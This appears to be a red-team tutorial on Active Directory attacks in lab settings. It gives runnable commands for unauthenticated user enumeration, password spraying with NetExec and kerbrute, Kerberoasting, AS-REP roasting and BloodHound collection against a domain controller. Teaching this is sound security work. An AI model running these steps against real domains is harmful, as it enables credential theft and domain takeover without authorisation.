Active Directory enumeration: users, LDAP, BloodHound and password spraying
What to do when you find a domain controller: enumerate without credentials, get valid users, spray passwords safely and collect BloodHound data.
Ports 53, 88, 389 and 445 together mean one thing: you are looking at a domain controller. Every Active Directory attack starts the same way, with an orderly enumeration that answers two questions: which users exist? and what can each of them do? This guide is the first step of the Active Directory red teaming path, and the AD checklist sums it up in tick boxes.
0. Prepare your box
# Domain and DC names (shown by nmap and NetExec)
nxc smb 10.10.10.10
echo '10.10.10.10 dc01.corp.local corp.local dc01' | sudo tee -a /etc/hosts
# The clock: Kerberos fails with more than 5 minutes of skew
sudo ntpdate 10.10.10.10
Tip
Many tools work better if your box uses the DC as its DNS server. With bloodhound-python, for instance, pass -ns 10.10.10.10 so you do not have to touch /etc/resolv.conf.
1. Without credentials
The goal here is a list of valid usernames (LDAP/RPC enumeration).
# Anonymous LDAP (less and less common, but try it)
ldapsearch -x -H ldap://10.10.10.10 -s base namingContexts
ldapsearch -x -H ldap://10.10.10.10 -b 'DC=corp,DC=local' '(objectClass=user)' sAMAccountName description
# Null session or guest over SMB/RPC (more in the SMB enumeration guide)
nxc smb 10.10.10.10 -u '' -p '' --users
nxc smb 10.10.10.10 -u 'guest' -p '' --rid-brute 5000
rpcclient -U '' -N 10.10.10.10 -c 'enumdomusers;querydispinfo'
# Kerberos: check whether names from a list exist (does not lock accounts)
kerbrute userenum -d corp.local --dc 10.10.10.10 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
Watch the description field: finding an initial password nobody changed there is a classic. And with the user list, try AS-REP Roasting straight away, since it needs no password. If there are shares, go through them with the SMB enumeration guide.
2. Password spraying
Spraying means trying one password against many users, rather than many passwords against one. That way no account gets locked (password spraying).
First, check the lockout policy:
nxc smb 10.10.10.10 -u user -p 'Password1' --pass-pol # with credentials
nxc smb 10.10.10.10 -u '' -p '' --pass-pol # sometimes without
If Account Lockout Threshold is 5, do not make more than 3 or 4 attempts per user within the Lockout Observation Window. Then:
# One password against everyone
nxc smb 10.10.10.10 -u users.txt -p 'Autumn2024!' --continue-on-success
# Username as password (surprisingly common)
nxc smb 10.10.10.10 -u users.txt -p users.txt --no-bruteforce --continue-on-success
# Over Kerberos (quieter than SMB in the classic logs)
kerbrute passwordspray -d corp.local --dc 10.10.10.10 users.txt 'Autumn2024!'
Which passwords to try: any you find in files or descriptions (on Resolute a welcome password works for another user), Season+Year (Winter2025), Company123!, Welcome1 and the username itself.
3. With one user: everything else
With any domain user, even an unprivileged one, you can read almost the whole directory.
# Users, groups, computers, descriptions
nxc ldap 10.10.10.10 -u user -p 'Password1' --users
nxc ldap 10.10.10.10 -u user -p 'Password1' --groups
nxc ldap 10.10.10.10 -u user -p 'Password1' -M get-desc-users
# Attacks that only need a user
nxc ldap 10.10.10.10 -u user -p 'Password1' --kerberoasting tgs.txt
nxc ldap 10.10.10.10 -u user -p 'Password1' --asreproast asrep.txt
nxc ldap 10.10.10.10 -u user -p 'Password1' -M adcs # is there a CA? → ADCS guide
nxc ldap 10.10.10.10 -u user -p 'Password1' -M maq # can I create computers?
nxc ldap 10.10.10.10 -u user -p 'Password1' --gmsa # can I read gMSA passwords?
nxc ldap 10.10.10.10 -u user -p 'Password1' -M laps # and LAPS?
4. BloodHound
BloodHound draws the domain as a graph: who is a member of what, who has rights over whom and where sessions are open. It answers "how do I get from my user to Domain Admin?".
# From Linux
bloodhound-python -d corp.local -u user -p 'Password1' -ns 10.10.10.10 -c All --zip
rusthound-ce -d corp.local -u user -p 'Password1' -i 10.10.10.10 -z
nxc ldap 10.10.10.10 -u user -p 'Password1' --bloodhound -c All --dns-server 10.10.10.10
# From a shell on Windows
.\SharpHound.exe -c All --zipfilename data.zip
Upload the .zip to BloodHound CE and start with:
- Mark the users you already control as Owned.
- Run Shortest paths from Owned objects and Shortest paths to Domain Admins.
- Check each of your users' Outbound Object Control: that is where
GenericAll,WriteDacl,ForceChangePassword... show up. - Review groups with special privileges:
Remote Management Users(WinRM),Backup Operators,Account Operators,DnsAdmins,Server Operators.
Each arrow in the graph has a specific abuse: they are in the ACL abuse guide. The Active Directory cheat sheet has Cypher queries for what is not built in.
Common errors
KRB_AP_ERR_SKEW: the clock. Runntpdateagain or usefaketime.- BloodHound collects no sessions or local admins: that data is queried on each computer and needs network reach to them. From a domain-joined machine, SharpHound collects more than from outside.
STATUS_PASSWORD_MUST_CHANGEwhile spraying: you hit it, but it must be changed.impacket-changepasswdorsmbpasswd -r 10.10.10.10 -U userdo it without an interactive session.STATUS_ACCOUNT_LOCKED_OUT: stop the spray immediately and wait for the window to pass.
Examples from the catalogue
Forest (users over RPC, AS-REP and an ACL chain), Cascade (a password in an LDAP attribute), Resolute (spraying a password from a description), Monteverde (username as password) and Cicada (a default password in a share).
What next
With the graph in front of you, pick the path: Kerberoasting, ACLs, certificates or delegation. And as soon as you have a user in Remote Management Users, log in over WinRM (lateral movement).